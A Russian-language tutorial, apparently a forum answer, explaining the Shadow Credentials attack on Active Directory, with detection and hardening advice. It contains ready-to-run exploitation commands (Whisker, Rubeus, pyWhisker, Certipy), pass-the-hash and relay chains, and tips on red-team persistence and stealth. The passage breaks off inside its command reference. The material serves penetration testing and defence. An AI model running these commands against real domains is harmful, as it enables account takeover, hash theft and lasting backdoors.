Время чтения: ~25 минут для полного изучения, ~5 минут для quick reference
Навигация по статье:
- Если вы пентестер: начните с "Практическое применение" → "Quick Start Guide"
- Если вы защитник: читайте "Можно ли детектировать" → "Можно ли защититься"
- Если изучаете теорию: читайте последовательно от начала
- Если нужен quick answer: читайте TL;DR ниже
Оглавление
- TL;DR (Executive Summary)
- Prerequisites (что нужно знать)
- Quick Start Guide
- Что такое Shadow Credentials простыми словами
- Предварительные требования для атаки
- Пошаговая механика атаки
- КРИТИЧНО: Проблема персистентности Shadow Credentials
- Можно ли детектировать Shadow Credentials
- Практическое применение
- Часто задаваемые вопросы
- Выводы
- Заключительный чеклист для практиков
- Command Reference (Quick Lookup)
- Дополнительное чтение
TL;DR (Executive Summary)
- Что это: Shadow Credentials — атака на Active Directory через запись публичного ключа в атрибут
msDS-KeyCredentialLink, позволяющая аутентификацию через PKINIT и извлечение NT-хэша. - Как работает: Атакующий добавляет свой публичный ключ → аутентифицируется через Kerberos PKINIT → получает TGT → через U2U извлекает NT-хэш из PAC.
- Главная опасность: Shadow Credentials НЕ удаляются при смене пароля — это постоянный backdoor до ручной очистки атрибута.
- Ключевой IOC для детектирования: Event 4768 с самоподписанным сертификатом (
Certificate Issuer = CN=username) вместо корпоративного CA. - Как защититься: Deny ACE на изменение msDS-KeyCredentialLink для привилегированных аккаунтов + LDAP Signing + мониторинг Event 5136.
- Актуальность: Полностью работает в 2025 году на Windows Server 2016+.
Prerequisites (что нужно знать)
Для понимания статьи желательно иметь базовые знания в:- Kerberos протокол (AS-REQ/AS-REP, TGT, TGS) —
Ссылка скрыта от гостей
- Active Directory структура (объекты, атрибуты, ACL)
- PKI основы (публичный/приватный ключ, сертификаты)
- NTLM аутентификация (NT hash, Pass-the-Hash)
Для углубленного понимания бинарных структур: Если хочешь разобраться в том, как работают KeyCredential на низком уровне и как анализировать подобные структуры, может быть полезен курс по реверс-инжинирингу — там учат работать с бинарными форматами и протоколами.
Привет! Отличный вопрос про Shadow Credentials. Вижу, что ты уже глубоко погрузился в тему. Давай разберем механику атаки пошагово, исправим неточности и добавим детали, которые помогут полностью понять, что происходит "под капотом".
Quick Start Guide
Минимальный путь для тестирования атаки:☐ Шаг 1: Проверьте prerequisites
Код:
# Проверьте Domain Functional Level (должен быть 2016+)
Get-ADDomain | Select-Object DomainMode
Bash:
# Linux: используйте BloodHound или ldapsearch
# Windows: используйте PowerView или встроенные AD cmdlets
Get-Acl "AD:\CN=targetuser,CN=Users,DC=domain,DC=local"
Windows (Whisker):
Код:
# Добавить Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local
# Output: PFX файл и команда для Rubeus
# Получить TGT + NT hash
Rubeus.exe asktgt /user:targetuser /certificate:BASE64_CERT /password:CERT_PASS /getcredentials
Bash:
# Добавить Shadow Credentials
python3 pywhisker.py -d domain.local -u attacker -p password --target targetuser --action add
# Output: PFX файл
# Получить TGT
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass domain.local/targetuser tgt.ccache
# Записать AS-REP key из вывода!
# Извлечь NT hash
export KRB5CCNAME=tgt.ccache
python3 getnthash.py -key <AS-REP-key> domain.local/targetuser
Bash:
# Используйте полученный NT hash для Pass-the-Hash
crackmapexec smb <target> -u targetuser -H <NT-hash>
- "KDC_ERR_PADATA_TYPE_NOSUPP" → DC не поддерживает PKINIT (нужен Server 2016+)
- "Object SID mismatch" → Strong Certificate Mapping enabled (добавьте -sid флаг)
- "Access denied" → Нет прав на запись в msDS-KeyCredentialLink
Что такое Shadow Credentials простыми словами
Shadow Credentials — это атака на Active Directory, которая позволяет получить доступ к учетной записи, если у тебя есть права на изменение атрибутаmsDS-KeyCredentialLink.Суть простыми словами: ты добавляешь свой публичный ключ в атрибут учетной записи жертвы, после чего можешь аутентифицироваться от её имени через PKINIT (аутентификация сертификатами в Kerberos) и получить NT-хэш пароля.
КРИТИЧНО: Shadow Credentials остаются активными даже после смены пароля! Это постоянный backdoor до ручной очистки атрибута.
Зачем это нужно злоумышленнику:
- Получить доступ к учетной записи без знания пароля
- Сохранить доступ даже после смены пароля (backdoor)
- Извлечь NT-хэш для Pass-the-Hash атак
- Обойти многофакторную аутентификацию
Предварительные требования для атаки
Чтобы атака сработала, нужны следующие условия:- Domain Functional Level минимум Windows Server 2016
- Хотя бы один контроллер домена с поддержкой PKINIT
- Права на запись в атрибут
msDS-KeyCredentialLinkцелевого объекта - У KDC должна быть пара ключей для key agreement (обычно есть, если настроен AD CS)
- GenericWrite или GenericAll на объект пользователя/компьютера
- Членство в группах Key Admins или Enterprise Key Admins
- NTLM relay атака на LDAP для записи атрибута
- Эксплуатация ACL misconfiguration через BloodHound
Пошаговая механика атаки
СОВЕТ: Этот раздел детально разбирает каждый шаг атаки. Если нужен только практический exploit — переходите к "Quick Start Guide" выше.Шаг 1: Генерация криптографической пары ключей
Атакующий генерирует пару RSA или ECC ключей:- Приватный ключ — остается у атакующего
- Публичный ключ — будет записан в Active Directory
Шаг 2: Запись ключа в msDS-KeyCredentialLink
Атакующий записывает структуру KeyCredential (содержащую публичный ключ) в атрибутmsDS-KeyCredentialLink целевой учетной записи.Структура KeyCredential:
KeyCredential — это не просто публичный ключ, а сложная сериализованная структура в формате DNWithBinary:
Код:
KeyCredential {
DeviceId: GUID — уникальный идентификатор устройства
CreationTime: timestamp — время создания
KeyUsage: NGC (0x8) — флаг использования для Windows Hello
KeyIdentifier: hash публичного ключа
PublicKey: DER-encoded RSA/ECC public key
CustomKeyInfo: дополнительные метаданные (опционально)
}
- Атрибут
msDS-KeyCredentialLinkможет хранить несколько публичных ключей - Каждое значение — это бинарная сериализованная структура KeyCredential
- KDC находит нужный ключ по KeyIdentifier при PKINIT аутентификации
- Легитимно используется для Windows Hello for Business
- Прямая запись через LDAP (если есть права)
- NTLM relay на LDAP
- Использование скомпрометированной учетной записи с нужными ACL
Шаг 3: AS-REQ с PKINIT Pre-Authentication
Атакующий отправляет AS-REQ (Authentication Service Request) с PKINIT:Что отправляется:
- Principal name целевой учетной записи
- Текущий timestamp, подписанный приватным ключом атакующего
- DH public value (для Diffie-Hellman key exchange)
- Client nonce для защиты от replay-атак
Технические детали PKINIT:
PKINIT поддерживает два режима работы:
- DH-based(Diffie-Hellman) — используется по умолчанию в Windows
- Клиент и KDC обмениваются DH public values
- Создается общий shared secret
- Обеспечивает forward secrecy при ephemeral keys
- RSA-based(Public Key Encryption) — редко используется
- KDC шифрует AS reply key открытым RSA ключом клиента
- Не поддерживает forward secrecy
- Требуется только в legacy сценариях
Шаг 4: Проверка KDC
Контроллер домена выполняет проверку:- Извлекает публичный ключ из
msDS-KeyCredentialLinkучетной записи - Проверяет подпись timestamp, используя публичный ключ
- Проверяет актуальность timestamp (защита от replay)
- Если всё ОК — переходит к генерации ответа
Шаг 5: AS-REP — ответ от KDC
[Advanced Deep Dive] Этот раздел содержит детальный разбор криптографии PKINIT. Для практического применения достаточно понимать, что KDC возвращает TGT + session key через DH key agreement.Здесь была твоя основная ошибка. KDC НЕ шифрует данные открытым ключом атакующего. Вместо этого:
Что действительно происходит:
A. Diffie-Hellman Key Agreement
Клиент и KDC выполняют DH key exchange (
Ссылка скрыта от гостей
):- Клиент отправил свою DH public value в AS-REQ
- KDC генерирует свою DH key pair и отправляет DH public value в AS-REP
- Обе стороны вычисляют одинаковый DH shared secret
- Из shared secret через KDF (обычно SHA-256) создается AS reply key (симметричный ключ)
Код:
AS reply key = KDF-SHA256(DHSharedSecret || clientDHNonce || serverDHNonce)
Ссылка скрыта от гостей
):- Современные имплементации (MIT Kerberos, Windows) по умолчанию используют ephemeral DH keys (генерируются для каждой сессии)
- При использовании static DH keys(повторное использование) обязательно добавляются nonces:
clientDHNonce— если клиент хочет разрешить KDC переиспользовать ключиserverDHNonce— если KDC переиспользует свою DH пару
- Nonces конкатенируются с DH shared secret при деривации AS reply key
- Это обеспечивает уникальность ключа даже при повторном использовании DH параметров
B. Структура AS-REP
AS-REP содержит две зашифрованные части:
1. TGT (Ticket Granting Ticket):
- Зашифрован ключом KRBTGT (клиент его расшифровать НЕ может)
- Содержит PAC (Privilege Attribute Certificate)
- В PAC находится структура
PAC_CREDENTIAL_INFO PAC_CREDENTIAL_INFOсодержит NT-хэш, зашифрованный AS reply key
Ссылка скрыта от гостей
):- Encryption Type: обычно AES256-CTS-HMAC-SHA1-96
- Key Usage Number: 16 (KERB_NON_KERB_SALT)
- Это специальный Key Usage для supplemental credentials
- Отличается от стандартных Kerberos ticket encryptions:
- Key Usage 2 = AS-REP ticket (KRBTGT key)
- Key Usage 3 = TGS-REP ticket (service key)
- Key Usage 16 = PAC supplemental credentials (AS reply key)
- Изолирует криптографию NTLM credentials от основного Kerberos потока
- Зашифрована AS reply key (который был получен через DH)
- Содержит:
- Session key для общения с KDC
- Информацию о времени действия билета
- Nonce для защиты от replay
- Другие параметры аутентификации
Это сделано для обратной совместимости с NTLM. Если пользователь аутентифицировался через Kerberos PKINIT, но затем ему нужно подключиться к ресурсу, который поддерживает только NTLM — система может извлечь NT-хэш из PAC.
Шаг 6: Расшифровка клиентом
Атакующий выполняет следующие действия:- Вычисляет AS reply key через DH (используя свой приватный DH ключ и публичный DH value от KDC)
- Расшифровывает enc-part AS-REP, используя AS reply key
- Извлекает session key для общения с KDC
- Получает TGT (но расшифровать его не может, т.к. он зашифрован ключом KRBTGT)
- Валидный TGT на имя жертвы
- Session key для KDC
- AS reply key
- NT-хэш пока недоступен (он внутри зашифрованного TGT)
Шаг 7: UnPACtheHash — извлечение NT-хэша
[Advanced Deep Dive] Этот раздел объясняет технические детали U2U и извлечения NT hash. Для практики достаточно запуститьgetnthash.py или Rubeus с /getcredentials.Чтобы получить NT-хэш, атакующий использует технику UnPACtheHash через U2U (User-to-User) аутентификацию.
Что такое U2U аутентификация?
U2U — это расширение Kerberos, которое позволяет пользователю запросить service ticket, зашифрованный не ключом сервиса, а session key из TGT.
Изначальная цель U2U:
Сервисы, работающие от имени пользователя (например, файловый шаринг между пользователями), не имеют постоянного ключа. Вместо этого используется временный session key.
Механика UnPACtheHash:
Шаг 7.1: TGS-REQ с U2U
Атакующий отправляет TGS-REQ к самому себе с особыми параметрами:
Код:
TGS-REQ:
sname (service name) = принципал жертвы (запрос к себе)
ENC-TKT-IN-SKEY = TRUE (флаг U2U аутентификации)
additional-tickets = [TGT жертвы, полученный через PKINIT]
FORWARDABLE = часто тоже установлен
1. Базовый U2U (без S4U2self):
- Запрашивается service ticket для себя
sname = client principal(свой же принципал)- Работает для большинства случаев
- Используется в PKINITtools по умолчанию
- S4U2self — расширение Kerberos для получения service ticket без SPN
- Классический Kerberos требует наличия SPN у сервиса
- S4U2self обходит это требование
- Используется для "SPN-less" версии атаки
- Применяется в некоторых имплементациях Rubeus
Шаг 7.2: TGS-REP от KDC
KDC обрабатывает запрос:
- Извлекает session key из TGT (из поля additional-tickets)
- Копирует PAC из TGT в новый service ticket
- Шифрует service ticket session key из TGT (а не ключом сервиса!)
- Отправляет service ticket атакующему
Атакующий выполняет:
- Расшифровывает service ticket session key (который ему известен)
- Извлекает PAC из service ticket
- Расшифровывает PAC_CREDENTIAL_INFO используя AS reply key
- Получает NT-хэш жертвы
- Service ticket зашифрован известным атакующему ключом (session key)
- PAC копируется из TGT без изменений
- PAC_CREDENTIAL_INFO зашифрован AS reply key, который тоже известен атакующему
- В итоге атакующий может извлечь NT-хэш
Практическое применение
Инструменты для эксплуатации
Windows:
Код:
# Whisker - добавление Shadow Credentials к целевому пользователю
Whisker.exe add /target:targetUser /domain:domain.local /dc:dc01.domain.local
# Output: Сгенерированный PFX сертификат + команда для Rubeus
# Rubeus - получение TGT + автоматическое извлечение NT hash
Rubeus.exe asktgt /user:targetUser /certificate:cert.pfx /password:certpass /getcredentials
# Output: TGT (base64), NT hash, AS-REP key
Linux:
Bash:
# pyWhisker - добавление Shadow Credentials
python3 pywhisker.py -d domain.local -u attacker -p password --target targetUser --action add
# Output: Сгенерированный PFX файл, сохраняется локально
# PKINITtools - получение TGT через PKINIT
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass domain.local/targetUser tgt.ccache
# Output: TGT сохранен в tgt.ccache, AS-REP key выведен в консоль (СОХРАНИТЕ ЕГО!)
# PKINITtools - извлечение NT hash через UnPACtheHash
export KRB5CCNAME=tgt.ccache
python3 getnthash.py -key <AS-REP-key> domain.local/targetUser
# Output: NT hash целевого пользователя
Bash:
# Всё в одном инструменте - добавить Shadow Credentials + получить TGT + NT hash
certipy shadow auto -username attacker@domain.local -p password -account targetUser
# Output: Автоматически выполняет весь flow и выводит NT hash
СОВЕТ: Certipy auto — самый быстрый способ для тестирования, но для stealth операций используйте ручной workflow с возможностью удаления Shadow Credentials после атаки.
Что делать с полученным NT-хэшем?
После извлечения NT-хэша атакующий может:Pass-the-Hash:
Bash:
# Аутентификация без пароля через NT hash
crackmapexec smb target.domain.local -u targetUser -H <NT-hash>
evil-winrm -i target.domain.local -u targetUser -H <NT-hash>
Bash:
# Подделка service ticket для конкретного сервиса
impacket-ticketer -nthash <NT-hash> -domain-sid <SID> -domain domain.local -spn cifs/target.domain.local targetUser
Bash:
# WMI execution
impacket-wmiexec domain.local/targetUser@target -hashes :<NT-hash>
# RDP (если включен Restricted Admin mode)
xfreerdp /v:target.domain.local /u:targetUser /pth:<NT-hash>
Bash:
# Попытка восстановить plaintext пароль
hashcat -m 1000 -a 0 <NT-hash> wordlist.txt
- Certipy автоматизирует весь процесс для быстрого тестирования
- PKINITtools даёт больше контроля на Linux
- NT hash открывает множество векторов lateral movement
- Всегда сохраняйте AS-REP key — он нужен для UnPACtheHash
Часто задаваемые вопросы
Можно ли детектировать Shadow Credentials?
Да, есть несколько способов детектирования:1. Мониторинг изменений msDS-KeyCredentialLink
- Event ID 5136 (Directory Service Object Modified)
- Event ID 4662 (Operation performed on AD object)
- Мониторинг изменений, где субъект НЕ Azure AD Connect или ADFS
- Подозрительные паттерны:
- Несколько KeyCredentials на одном аккаунте (>1)
- DeviceId не соответствует известным устройствам
- CreationTime совпадает с подозрительной активностью
- Event ID 4768 (TGT requested)
- Проверка поля Certificate Issuer Name:
- Легитимный WHfB/Smartcard:
CN=Corporate-CA, DC=domain, DC=local(корпоративный CA) - Shadow Credentials:
CN=username(самоподписанный сертификат!)
- Легитимный WHfB/Smartcard:
- Это основной индикатор компрометации
- Особенно подозрительно для аккаунтов, которые обычно не используют PKINIT
- Event ID 4769 (TGS requested)
- Флаг ENC-TKT-IN-SKEY установлен
- Requestor и Service Name совпадают
- Много false positives, но в комбинации с PKINIT — сильный сигнал
- Поиск путей с правами WriteProperty на msDS-KeyCredentialLink
- Edge "AddKeyCredentialLink" в графе атак
- Периодический аудит ACL на привилегированные аккаунты
Почему атака называется Shadow Credentials?
Потому что атакующий создает "теневые" альтернативные учетные данные, которые:- Работают параллельно с основным паролем
- Остаются активными даже после смены пароля
- Сложно обнаружить без специального мониторинга
- Функционируют как backdoor
Дополнительный контекст: На форуме Codeby есть развёрнутое обсуждение Shadow Credentials с практическими примерами эксплуатации и дискуссией в комментариях — рекомендую изучить для понимания real-world сценариев.
КРИТИЧНО: Проблема персистентности Shadow Credentials
Главная опасность Shadow Credentials — они создают постоянный backdoor:Что НЕ удаляет Shadow Credentials:
- Смена пароля пользователя
- Принудительный logout всех сессий
- Отключение/включение учетной записи
- Истечение срока действия пароля
- Явное удаление KeyCredential из msDS-KeyCredentialLink
Whisker.exe remove /target:username- Ручная очистка атрибута через LDAP/ADSI
- SOC обнаруживает компрометацию аккаунта
- Меняют пароль жертвы → атакующий всё ещё имеет доступ!
- Блокируют аккаунт → атакующий всё ещё может получить TGT!
- Только явная очистка msDS-KeyCredentialLink останавливает атаку
Если Shadow Credentials добавлены на высоко привилегированный аккаунт (Domain Admin, Enterprise Admin):
- Создается долгосрочный backdoor в домен
- Атакующий может возвращаться месяцами
- Многие организации даже не проверяют этот атрибут при инцидентах
- Стандартные процедуры "сменить пароль" НЕ помогают
Работает ли атака на computer accounts?
Да! Более того, у computer objects есть интересная особенность:- User objects не могут редактировать свой собственный
msDS-KeyCredentialLink - Computer objects МОГУТ редактировать свой
msDS-KeyCredentialLink
Сценарий атаки "Relay to Shadow Credentials":
- Trigger аутентификацию от контроллера домена DC01 (например, через PrinterBug, PetitPotam)
- NTLM relay на другой контроллер домена DC02
- От имени DC01$ изменить его собственный
msDS-KeyCredentialLink - Получить доступ к DC01 через PKINIT
- Извлечь NT-хэш DC01$ через UnPACtheHash
- Использовать DCSync или создать Golden Ticket
- ntlmrelayx.py с флагом
--shadow-credentials - pyWhisker может быть интегрирован в relay цепочку
- KrbRelayUp для Windows-based relay
- LDAP Signing = Required
- LDAP Channel Binding = Always
- Extended Protection for Authentication
В чем разница между AS reply key и session key?
Это два разных ключа:AS reply key:
- Создается через DH key agreement между клиентом и KDC
- Используется для шифрования enc-part в AS-REP
- Используется для шифрования PAC_CREDENTIAL_INFO
- Нужен для расшифровки NT-хэша в UnPACtheHash
- Содержится внутри enc-part AS-REP
- Используется для шифрования коммуникации с KDC
- Используется при запросе TGS (service tickets)
- Используется для шифрования service ticket в U2U
Нужен ли AD CS для Shadow Credentials?
Нет, не обязательно. Есть путаница с двумя техниками:Shadow Credentials (Key Trust):
- НЕ требует AD CS
- Использует raw public keys в msDS-KeyCredentialLink
- Требует только PKINIT на DC (поддерживается с Server 2016)
- Требует AD CS
- Использует X.509 сертификаты
- Атаки: ESC1, ESC8, Golden/Diamond certificates
Почему Microsoft не "патчит" Shadow Credentials?
Это частый вопрос, и ответ важен для понимания природы атаки.Это не баг — это feature misuse!
Почему нельзя просто отключить:
msDS-KeyCredentialLink— это легитимная функция для Windows Hello for Business (WHfB)- WHfB используют миллионы организаций для passwordless authentication
- "Патч" сломал бы WHfB для всех клиентов
- Проблема не в функциональности, а в misconfigured ACLs
- Избыточные права на изменение msDS-KeyCredentialLink
- GenericWrite/GenericAll на user/computer objects без необходимости
- Отсутствие мониторинга изменений критичного атрибута
- Неправильная архитектура ACL в Active Directory
Это как если бы злоумышленник получил ключи от вашего дома из-за того, что вы дали их слишком многим людям. Проблема не в замке (msDS-KeyCredentialLink), а в том, кому вы дали ключи (ACL permissions).
Что делает Microsoft:
- Windows Server 2022+ — улучшенный аудит изменений msDS-KeyCredentialLink
- Defender for Identity — детектирует подозрительные PKINIT
- Документация по hardening ACLs
- KB5005413 — улучшения защиты от NTLM relay на LDAP (частично закрывает relay вектор)
- Обязательный Device Health Attestation для WHfB
- Автоматический мониторинг самоподписанных сертификатов в PKINIT
- Built-in защита от NTLM relay на LDAP по умолчанию
- Более строгие default ACLs на msDS-KeyCredentialLink
Есть ли альтернативные векторы, если прямая запись заблокирована?
Да! Даже при правильно настроенных ACL существуют обходные пути:1. NTLM Relay to LDAP (если signing отключен):
Код:
Цепочка атаки:
PetitPotam/PrinterBug → NTLM Relay → LDAP → Shadow Credentials
- Принудительная аутентификация от privileged machine
- Relay NTLM credentials на LDAP
- Использование ntlmrelayx с флагом --shadow-credentials
- Защита: LDAP Signing + Channel Binding
- Computer accounts могут изменять свой собственный msDS-KeyCredentialLink
- Получить контроль над любым computer account
- Добавить Shadow Credentials на этот computer account
- Escalate через Resource-Based Constrained Delegation (RBCD)
Код:
Если есть WriteDACL право:
1. Временно дать себе WriteProperty на msDS-KeyCredentialLink
2. Добавить Shadow Credentials
3. Восстановить исходный ACL (для stealth)
4. Использовать Shadow Credentials для доступа
Код:
Сложная цепочка:
1. Coerce authentication от DC (PrinterBug/PetitPotam/DFSCoerce)
2. Relay на другой DC через LDAP
3. Изменить msDS-KeyCredentialLink первого DC
4. Получить доступ к DC через PKINIT
5. DCSync или создание Golden Ticket
- Misconfigured management tools с избыточными правами
- Service accounts с GenericAll через плохие делегации
- Automation scripts с hardcoded credentials
- Мониторинг всех изменений msDS-KeyCredentialLink (не только прямых)
- LDAP signing/channel binding для защиты от relay
- Мониторинг coerced authentication patterns
- Regular ACL audits с BloodHound
- Principle of least privilege для всех аккаунтов
Можно ли защититься от атаки?
Да, есть несколько уровней защиты:1. Управление ACL (первая линия защиты):
- Регулярный аудит прав на изменение msDS-KeyCredentialLink
- Удаление избыточных GenericWrite/GenericAll
- Использование BloodHound для поиска путей атаки
Код:
Явный DENY для EVERYONE на изменение msDS-KeyCredentialLink
для всех аккаунтов, которые НЕ используют Windows Hello for Business
Код:
$user = Get-ADUser "Administrator"
$acl = Get-Acl "AD:\$($user.DistinguishedName)"
$sid = [System.Security.Principal.SecurityIdentifier]"S-1-1-0" # EVERYONE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
[System.Security.AccessControl.AccessControlType]::Deny,
[Guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063" # msDS-KeyCredentialLink
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$($user.DistinguishedName)" $acl
- LDAP Signing = Required (блокирует NTLM relay на LDAP)
- LDAP Channel Binding = Always (привязка к TLS session)
- SMB Signing = Required (общая защита от relay)
- Extended Protection for Authentication (EPA)
- Настройка SACL на критичные объекты
- Алерты на изменение msDS-KeyCredentialLink
- Мониторинг самоподписанных сертификатов в PKINIT (Certificate Issuer = CN=username)
- Correlation: PKINIT + U2U от одного аккаунта в короткий промежуток времени
При обнаружении Shadow Credentials:
- Немедленно очистить атрибут msDS-KeyCredentialLink
Код:Set-ADUser username -Clear msDS-KeyCredentialLink - Сменить пароль скомпрометированного аккаунта (но помни: Shadow Creds переживут смену!)
- Форсировать выход всех сессий (klist purge, revoke refresh tokens)
- Провести расследование источника компрометации
- Проверить все privileged аккаунты на наличие Shadow Credentials
- Проверить Domain Controllers на наличие Shadow Credentials
Код:
# Проверка всех аккаунтов на наличие msDS-KeyCredentialLink
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object {$_.msDS-KeyCredentialLink} |
Select-Object Name, SamAccountName, Enabled
Выводы
Твой изначальный разбор
Ты правильно понял общую концепцию атаки, но была критическая ошибка в понимании криптографии PKINIT:Неверно: KDC шифрует данные открытым ключом атакующего
Верно: KDC и клиент используют Diffie-Hellman для создания общего симметричного AS reply key
Ключевые технические моменты для запоминания
1. Криптография PKINIT:- DH-based режим (по умолчанию) использует Diffie-Hellman key agreement
- AS reply key = KDF(DHSharedSecret || clientDHNonce || serverDHNonce)
- Ephemeral DH keys для forward secrecy в современных имплементациях
- RSA-based режим существует, но редко используется
- KeyCredential — сложная структура (DeviceId, KeyUsage, PublicKey, etc.)
- PAC_CREDENTIAL_INFO зашифрован AS reply key с Key Usage 16
- Key Usage 16 (KERB_NON_KERB_SALT) специально для supplemental credentials
- U2U аутентификация через флаг ENC-TKT-IN-SKEY
- Service ticket зашифрован известным session key
- PAC_CREDENTIAL_INFO расшифровывается AS reply key
- Опционально: S4U2self для SPN-less варианта
- Certificate Issuer Name в Event 4768 — ключевой IOC
- Самоподписанный сертификат (CN=username) vs корпоративный CA
- Correlation: PKINIT + U2U за короткое время
- Множественные KeyCredentials на аккаунте
- Shadow Credentials НЕ удаляются при смене пароля
- Требуется явная очистка msDS-KeyCredentialLink
- Создают долгосрочный backdoor
- Особенно опасны на privileged accounts
- Это feature misuse, не баг — Microsoft не будет "патчить"
- Решение: правильные ACLs + мониторинг + LDAP hardening
- LDAP Signing/Channel Binding блокируют relay вектор
- Deny ACE на msDS-KeyCredentialLink для критичных аккаунтов
- NTLM relay to LDAP (если signing отключен)
- Computer account self-modification
- ACL poisoning через WriteDACL
- Coerced authentication chains
- PKINIT использует DH key agreement (не асимметричное шифрование!)
- AS reply key = KDF(DHSharedSecret || nonces)
- PAC_CREDENTIAL_INFO зашифрован AS reply key с Key Usage 16
- UnPACtheHash работает через U2U + известные ключи сессии
- KeyCredential — сложная структура с DeviceId, KeyUsage, PublicKey
Заключительный чеклист для практиков
Для Red Team / Pentesters:
☐ Pre-engagement:- Проверьте Domain Functional Level (2016+ required)
- Запустите BloodHound для поиска WriteProperty на msDS-KeyCredentialLink
- Проверьте, используется ли PKINIT в целевой сети (stealth consideration)
- Изучите современные техники для красных команд в 2025 для комплексного подхода к AD пентесту
- Используйте Certipy
shadow autoдля быстрого тестирования - Для stealth: используйте ручной workflow с удалением Shadow Credentials после
- Сохраните AS-REP key — он нужен для UnPACtheHash
- Документируйте все изменения для cleanup
- Используйте NT hash для lateral movement
- Рассмотрите добавление Shadow Credentials на computer accounts для persistence
- Если цель — Domain Admin, добавьте Shadow Credentials для Golden PAC persistence
- Удалите все добавленные KeyCredentials:
Whisker.exe removeилиpywhisker --action remove - Проверьте, что атрибут очищен:
Get-ADUser target -Properties msDS-KeyCredentialLink
Для Blue Team / Defenders:
☐ Prevention:- Примените Deny ACE на msDS-KeyCredentialLink для всех Domain/Enterprise Admins
- Включите LDAP Signing = Required на всех DC
- Включите LDAP Channel Binding (LdapEnforceChannelBinding = 2)
- Регулярно аудируйте ACL на критичные аккаунты через BloodHound
- Изучите типичные векторы взлома AD и современные меры защиты для комплексного подхода к hardening
- Настройте SACL для аудита msDS-KeyCredentialLink (GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063)
- Создайте алерт на Event 4768 с самоподписанным сертификатом (Certificate Issuer = CN=username)
- Создайте correlation rule: PKINIT + U2U в течение 5 минут
- Мониторьте Event 5136 для изменений msDS-KeyCredentialLink
- Добавьте в Incident Response Playbook проверку msDS-KeyCredentialLink
- При инциденте СНАЧАЛА очистите атрибут, ПОТОМ меняйте пароль
- Проверьте все privileged аккаунты на наличие Shadow Credentials
- Проверьте Domain Controllers (computer accounts могут иметь Shadow Credentials)
- Еженедельный запуск скрипта аудита msDS-KeyCredentialLink
- Проверка DeviceID на соответствие известным устройствам
- Review Event 4768/5136 logs на аномалии
Дополнительное чтение
Если хочешь углубиться:Оригинальные исследования:
-
Ссылка скрыта от гостей— оригинальная публикация об атаке
-
Ссылка скрыта от гостей— AD CS атаки, контекст для Shadow Credentials
-
Ссылка скрыта от гостей— Windows Hello for Business и msDS-KeyCredentialLink
-
Ссылка скрыта от гостей— Public Key Cryptography for Initial Authentication in Kerberos
-
Ссылка скрыта от гостей— Freshness через nonces
-
Ссылка скрыта от гостей— Privilege Attribute Certificate спецификация
-
Ссылка скрыта от гостей— Microsoft Kerberos имплементация
- Whisker (C#) — оригинальный инструмент от Elad Shamir
- pyWhisker (Python) — Python порт для Linux
- PKINITtools — PKINIT и UnPACtheHash для Linux
- Certipy — комплексный инструмент для AD CS + Shadow Credentials
- Rubeus — Kerberos атаки для Windows
-
Ссылка скрыта от гостей— детектирование через SACL
-
Ссылка скрыта от гостей— настройка аудита
-
Ссылка скрыта от гостей— индикаторы компрометации в Impacket
PKINIT-based атаки:
- Pass-the-Certificate — использование украденных сертификатов для аутентификации
- Golden/Diamond Certificates — подделка сертификатов с использованием CA ключей
- UnPAC the Hash — извлечение NT hash через U2U (часть Shadow Credentials)
- ESC1-ESC14 — различные misconfiguration в Certificate Templates
- ESC8 — NTLM Relay to AD CS HTTP endpoints
- Certifried (CVE-2022-26923) — Computer Account Takeover через dNSHostName
- Unconstrained Delegation — кража TGT
- Constrained Delegation — S4U2Proxy abuse
- Resource-Based Constrained Delegation (RBCD) — модификация msDS-AllowedToActOnBehalfOfOtherIdentity
- Golden Ticket — подделка TGT через ключ KRBTGT
- Silver Ticket — подделка service ticket через service key
- Diamond Ticket — модификация легитимного TGT
- Sapphire Ticket — копирование PAC из service ticket в forged TGT
Почему важно понимать всю картину:Для комплексного понимания: Если хочешь изучить, как Shadow Credentials сочетается с другими векторами атак на AD, рекомендую углублённый разбор 10 методов атак на Active Directory — там показаны связи между техниками и цепочки эксплуатации.
Shadow Credentials — это часть более широкой экосистемы атак на Kerberos и PKI. Атакующие часто комбинируют техники:
- Shadow Credentials → UnPAC → Pass-the-Hash → DCSync
- NTLM Relay → Shadow Credentials → RBCD → Domain Admin
- ESC8 → Certificate → Shadow Credentials → Persistence
Этическое использование: Вся информация предоставлена исключительно в образовательных целях для:Актуальность: Информация в этой статье актуальна на октябрь 2025 года. Атака Shadow Credentials полностью работает на Windows Server 2016+ с включенным PKINIT.
Disclaimer
- Обучения специалистов информационной безопасности
- Проведения авторизованного пентестинга
- Настройки защиты в собственной инфраструктуре
Точность: Техническая информация проверена и основана на официальных спецификациях (RFC, MS-PAC, MS-KILE) и проверенных исследованиях. Все инструменты и техники существуют и работают на момент публикации.
Credits
Благодарности исследователям и разработчикам:- Elad Shamir — оригинальное исследование Shadow Credentials
- Will Schroeder & Lee Christensen — Certified Pre-Owned и контекст AD CS атак
- Michael Grafnetter — DSInternals и исследование WHfB
- Benjamin Delpy (gentilkiwi) — UnPACtheHash в Kekeo
- Dirk-jan Mollema — PKINITtools
- ShutdownRepo — pyWhisker
- Oliver Lyak — Certipy
- GhostPack — Rubeus
Command Reference (Quick Lookup)
Shadow Credentials - Exploitation
Windows (Whisker + Rubeus):
Код:
# Добавить Shadow Credentials
Whisker.exe add /target:USER /domain:DOMAIN /dc:DC
# Получить TGT + NT hash
Rubeus.exe asktgt /user:USER /certificate:CERT.pfx /password:PASS /getcredentials
# Удалить Shadow Credentials (cleanup)
Whisker.exe remove /target:USER /deviceid:GUID
Bash:
# Добавить Shadow Credentials
python3 pywhisker.py -d DOMAIN -u USER -p PASS --target TARGET --action add
# Получить TGT
python3 gettgtpkinit.py -cert-pfx CERT.pfx -pfx-pass PASS DOMAIN/TARGET tgt.ccache
# Извлечь NT hash
export KRB5CCNAME=tgt.ccache
python3 getnthash.py -key ASREP_KEY DOMAIN/TARGET
# Удалить Shadow Credentials
